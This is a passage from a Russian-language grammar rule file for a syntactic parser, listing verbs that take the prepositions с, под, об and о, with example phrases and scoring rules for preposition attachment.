rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
